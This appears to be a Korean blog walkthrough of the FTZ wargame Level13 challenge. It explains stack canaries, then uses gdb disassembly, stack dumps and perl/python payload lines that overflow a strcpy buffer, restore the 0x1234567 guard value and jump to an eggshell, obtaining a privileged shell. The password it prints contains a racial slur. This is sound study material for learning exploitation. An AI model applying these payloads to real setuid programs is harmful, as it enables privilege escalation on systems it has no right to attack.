본문 바로가기

Learning/└◆Reversing

13_Level13 -> Level14[FTZ] 스택가드(스택 쉴드) 알아보기


 

 ■ Level13 -> Level14


 

 

■ 목적

스택 가드(Stack Guard)에 대해서

 

스택 가드(스택 쉘드)

버퍼 오버플로우는 정확하게 말하면 애플리케이션 개발자의 실수이다. 이런한 취약점을 보안하기 위해 나온 아이디어가 스택가드(Stack Guard)이다. 스택 가드에 저장돼 있는 값이 바뀌었다는 것은 버퍼 오버플로우 공격이 일어났다는 것을 의미하고, 스택가드의 변경이 확인되면 프로세스 실행을 차단해서 공격을 방어 할 수 있다.

 

[메모리 구조]

-----------------------------------------------

256bytes            4bytes            4bytes        4bytes

char str[256]      stack guard     SFP           RET

AAAA...AAAA     AAAA              AAAA        (새로운주소)

-----------------------------------------------

 

스택가드의 크기는 보통 4byte or 8byte 정도이다.

단점: 스택가드의 주소값을 알면 같은 값을 써서 변경하지 않고 오버플로우를 할 수 있다.

 

■ Level14 풀

 

level14 사용자 로그인

-> ID/PASS : level14/have no clue

 

$ cat hint

#include <stdlib.h>

 

main(int argc, char *argv[]() {

 

     long i=0x1234567;

     char buf[1024];

 

     setreuid( 3094,  3094  );

     if(argc > 1 )

          strcpy(buf ,argv[1]);

 

     if(i !=0x1234567) {

          printf(" Warnning: Buffer Overflow !!! \n");

          kill(0,11);

     }

 

버퍼 오버플로우 취약점은 존재하나 i의 값이 0x1234567 이 아니면 종료된다.

이것이 스택가드이다. 저 조건을 만족하면서 우회할 수 있는 공격을 하는게 목적이다.

 

-> # man 2 kill

-> # man 7 signal

 

attackme 프로그램을 디스어셈블러로 구조를 살펴본다.

$ cp attackme tmp ; cd tmp

$ gdb -q attackme

(gdb) disas main

Dump of assembler code for function main:

0x080484a0 <main+0>: push %ebp

0x080484a1 <main+1>: mov %esp,%ebp

0x080484a3 <main+3>: sub $0x418,%esp /* 0x418 = (10진수) 1048 바이트 */

0x080484a9 <main+9>: movl $0x1234567,0xfffffff4(%ebp) dummy = 20(지역변수2)

0x080484b0 <main+16>: sub $0x8,%esp

0x080484b3 <main+19>: push $0xc16

0x080484b8 <main+24>: push $0xc16

0x080484bd <main+29>: call 0x8048370 <setreuid>

0x080484c2 <main+34>: add $0x10,%esp

0x080484c5 <main+37>: cmpl $0x1,0x8(%ebp)

0x080484c9 <main+41>: jle 0x80484e5 <main+69>

0x080484cb <main+43>: sub $0x8,%esp

0x080484ce <main+46>: mov 0xc(%ebp),%eax

0x080484d1 <main+49>: add $0x4,%eax

0x080484d4 <main+52>: pushl (%eax)

0x080484d6 <main+54>: lea 0xfffffbe8(%ebp),%eax

0x080484dc <main+60>: push %eax

0x080484dd <main+61>: call 0x8048390 <strcpy>

0x080484e2 <main+66>: add $0x10,%esp

0x080484e5 <main+69>: cmpl $0x1234567,0xfffffff4(%ebp) se nonu : 12 (if)

0x080484ec <main+76>: je 0x804850d <main+109>

0x080484ee <main+78>: sub $0xc,%esp

0x080484f1 <main+81>: push $0x80485a0

0x080484f6 <main+86>: call 0x8048360 <printf>

0x080484fb <main+91>: add $0x10,%esp

0x080484fe <main+94>: sub $0x8,%esp

0x08048501 <main+97>: push $0xb

0x08048503 <main+99>: push $0x0

0x08048505 <main+101>: call 0x8048380 <kill>

0x0804850a <main+106>: add $0x10,%esp

---Type <return> to continue, or q <return> to quit---

0x0804850d <main+109>: leave

0x0804850e <main+110>: ret

0x0804850f <main+111>: nop

End of assembler dump.

 

main + 69 에서 스택가드와 비교를 하고 아닐경우 종료를 한다.

------------------------------------------------------------

1024                   24              4            4

char str[1024]     ???            SFP       RET   

------------------------------------------------------------

총 1056byte인 구조로 생각 할 수 있다.(0x418 = 1048 byte + SFP + RET)

그리고 main + 9 가 스택가드이며 (4byte) 더미20byte가 된다.

fffffff4 = 1100 = 12byte  => ebp -12거리에 가드스택 위치

 

 

 

(gdb) b *0x080484e5

Breakpoint 1 at 0x80484e5
(gdb) run AAAAAAAA

 

(gdb) x/264x $esp

0xbffff3c0: 0x41414141 0x41414141 0x00000000 0x00000000

0xbffff3d0: 0x00000000 0x00000000 0x00000000 0x00000000

0xbffff3e0: 0x00000000 0x00000000 0x00000000 0x00000000

0xbffff3f0: 0x00000000 0x00000000 0x400126d0 0x400126c8

0xbffff400: 0x400126ca 0x4001552c 0x98265745 0x0002ea46

0xbffff410: 0x00000000 0x00000000 0x00000000 0x00000000

0xbffff420: 0x00000000 0x00000000 0x00000000 0x00000000

0xbffff430: 0x00000000 0x00000000 0x00000000 0x40016558

0xbffff440: 0x00000040 0x00000080 0x00000010 0x08048204

0xbffff450: 0x08048164 0x00000000 0x40015a38 0x40015360

0xbffff460: 0x00000000 0x00000000 0x0804968c 0x40015a38

0xbffff470: 0x00000000 0x400169e0 0x980d61f4 0x0002ea46

0xbffff480: 0x00000000 0x01000000 0x00000000 0x00000000

0xbffff490: 0x00000000 0x00000000 0x00000000 0x00000000

0xbffff4a0: 0x00000001 0x00000000 0x00000000 0x00000000

0xbffff4b0: 0x00000000 0x00000000 0x00000000 0x00000000

0xbffff4c0: 0x00000000 0x00000000 0x00000000 0x00000000

0xbffff4d0: 0x00000006 0x400169e0 0x000fffff 0x00000051

0xbffff4e0: 0x00000000 0x00000000 0x00000000 0x00000000

0xbffff4f0: 0x00000000 0x00000000 0x00000000 0x00000000

0xbffff500: 0x00000000 0x00000000 0x00000000 0x00000000

0xbffff510: 0x00000000 0x00000000 0x00000000 0x00000000

0xbffff520: 0x00000000 0x00000000 0x00000000 0x00000000

0xbffff530: 0x00000000 0x00000000 0x00000000 0x4000fbce

0xbffff540: 0x00000000 0x00000000 0x40001001 0x4001582c

0xbffff550: 0x40015a34 0x00020414 0xbffff788 0x4000eeaf

0xbffff560: 0x08048034 0x00000006 0xbffff59c 0x00000000

0xbffff570: 0x00000000 0x00000000 0x00000000 0x2d000000

0xbffff580: 0x00000003 0xbffff622 0x0003fbf9 0x00000000

0xbffff590: 0x00000000 0x00000006 0x08048034 0x080483a0

0xbffff5a0: 0x756e694c 0x00000078 0x00000000 0x00000000

0xbffff5b0: 0x00000000 0x00000000 0x00000000 0x00000000

0xbffff5c0: 0x00000000 0x00000000 0x00000000 0x00000000

0xbffff5d0: 0x00000000 0x00000000 0x00000000 0x00000000

0xbffff5e0: 0x7a746600 0x6361682e 0x7372656b 0x6f6f6863

0xbffff5f0: 0x726f2e6c 0x00000067 0x00000000 0x00000000

0xbffff600: 0x4000914d 0x40009401 0x08048205 0x40015c68

0xbffff610: 0x400093bb 0x4001582c 0x40015a38 0x00000000

0xbffff620: 0xbffff660 0x4000914d 0x42010c7f 0x08048289

0xbffff630: 0x4001582c 0x4001624c 0x00000020 0x42010d36

0xbffff640: 0x4200bc84 0x42003394 0x400160b0 0x00000003

0xbffff650: 0x40016350 0x4001582c 0x40015bd4 0x08048264

0xbffff660: 0xbffff740 0x40008156 0x08048264 0x078e530f

0xbffff670: 0x08048174 0xbffff6f0 0x40015b88 0x00000001

0xbffff680: 0x40016380 0x00000000 0x00000001 0x42010d36

0xbffff690: 0x4200bc84 0x42003394 0x400160b0 0x00000003

0xbffff6a0: 0x40016350 0x4001582c 0x40015bd4 0x08048252

0xbffff6b0: 0xbffff790 0x40008156 0x08048252 0x0177ff8e

0xbffff6c0: 0x08048194 0xbffff740 0xbffff6f0 0x00000001

0xbffff6d0: 0x40016380 0x00000000 0x00000000 0x078e530f

0xbffff6e0: 0xbffff780 0x40015a38 0x0029656e 0x00000000

0xbffff6f0: 0x4200b894 0x400160b0 0x00000000 0x00000000

0xbffff700: 0x00000000 0x00000000 0x00000000 0x4000807f

0xbffff710: 0x4001582c 0x00001f1f 0xbffff740 0xbffff76c

0xbffff720: 0x4000be03 0x4001624c 0x00000000 0x0177ff8e

0xbffff730: 0x4000807f 0x4001582c 0x00000060 0x40015a38

0xbffff740: 0xbffff790 0x4000be03 0x40015bd4 0x40016380

0xbffff750: 0x00000001 0x00000000 0x4200dba3 0x420069e4

0xbffff760: 0x42130a14 0xbffffc1d 0xbffff824 0xbffff7a4

0xbffff770: 0x4000bcc0 0x080496d8 0x00000001 0x08048264

0xbffff780: 0x4210fd3c 0x42130a14 0xbffff7a8 0x4210fdf6

0xbffff790: 0x080495f0 0x080496f8 0x00000000 0x00000000

0xbffff7a0: 0x4210fdc0 0x42130a14 0xbffff7c8 0x08048481

0xbffff7b0: 0x080495f0 0x080496f8 0x4001582c 0x080483ce

0xbffff7c0: 0x08048308 0x42130a14 0xbffff7d8 0x01234567 <--스택가드

0xbffff7d0: 0x4200af84 0x42130a14 0xbffff7f8 0x42015574

(gdb) cont

Continuing.

(gdb) r $(perl -e 'print "A"x1048')

The program being debugged has been started already.

Start it from the beginning? (y or n) y

Starting program: /home/level13/tmp/attackme $(perl -e 'print "A"x1048')

Breakpoint 1, 0x080484e5 in main ()

(gdb) x/264x $esp  (1056byte)

0xbfffe830: 0x41414141 0x41414141 0x41414141 0x41414141

0xbfffe840: 0x41414141 0x41414141 0x41414141 0x41414141

0xbfffe850: 0x41414141 0x41414141 0x41414141 0x41414141

0xbfffe860: 0x41414141 0x41414141 0x41414141 0x41414141

0xbfffe870: 0x41414141 0x41414141 0x41414141 0x41414141

0xbfffe880: 0x41414141 0x41414141 0x41414141 0x41414141

0xbfffe890: 0x41414141 0x41414141 0x41414141 0x41414141

..... (중략) ......

0xbfffebc0: 0x41414141 0x41414141 0x41414141 0x41414141

0xbfffebd0: 0x41414141 0x41414141 0x41414141 0x41414141

0xbfffebe0: 0x41414141 0x41414141 0x41414141 0x41414141

0xbfffebf0: 0x41414141 0x41414141 0x41414141 0x41414141

0xbfffec00: 0x41414141 0x41414141 0x41414141 0x41414141

---Type <return> to continue, or q <return> to quit---

0xbfffec10: 0x41414141 0x41414141 0x41414141 0x41414141

0xbfffec20: 0x41414141 0x41414141 0x41414141 0x41414141

0xbfffec30: 0x41414141 0x41414141 0x41414141 0x41414141

0xbfffec40: 0x41414141 0x41414141 0xbfffec00 0x42015574

(gdb) continue

Continuing.

Warnning: Buffer Overflow !!!

Program received signal SIGSEGV, Segmentation fault.

0xffffe002 in ?? ()

(gdb) quit

 

ebp 에서 12byte만큼 거리에 가드스택이 존재한다.

 

------------------------------------------------------------

1024                    12            4                  8            4            4

char str[1024]      dummy     stack guard    dummy    SFP    RET

    0x1234567

------------------------------------------------------------

<--낮은주소                                                        높은주소-->

+                                                                        +

+------------------------------------------------+

1048 byte

1048 bytes = 1024 + 12 + 4 + 8

 

1036byte + 0x1234567 + 12byte + 주소

더미(1036) + 0x1234567 + SFP + eggshell 주소

$ ./attackme `python -c 'print "c"*1036+"\x67\x45\x23\x01"+"C"*12+"\xb8\xfa\xff\xbf"'`

or

$ (python -c 'print "A"*1036 + "\x67\x45\x23\x01" + "A"*12 + "\xb8\xf5\xff\xbf"'; cat) | ./attackme 

 

 

 

$ cd ; /home/level12/tmp/egg 300

Using address: 0xbffffab8

sh-2.05b$ ./attackme $(perl -e 'print "A"x1035')   <-- 스택가드의 위치 1035byte

sh-2.05b$ ./attackme $(perl -e 'print "A"x1036')

 

Warnning: Buffer Overflow !!!

세그멘테이션 오류

 

 

sh-2.05b$ ./attackme $(perl -e 'print "A"x1036,"\x67\x45\x23\x01"')

sh-2.05b$ ./attackme $(perl -e 'print "A"x1036,"\x67\x45\x23\x01","\xb8\xfa\xff\xbf"x20')

sh-2.05b$ id

uid=3094(level14) gid=3093(level13) groups=3093(level13)

sh-2.05b$ my-pass

TERM environment variable not set.

 

Level14 Password is "what that nigga want?".

 

sh-2.05b$ exit

exit

sh-2.05b$ exit

exit

 

 

 


 

쉘코드 작성

# include <stdio.h>
          int main () {

                  printf("%x", getenv("SC"));
                  return 0;

          } 

 

$ gcc -o locate locate.c

$ ./locate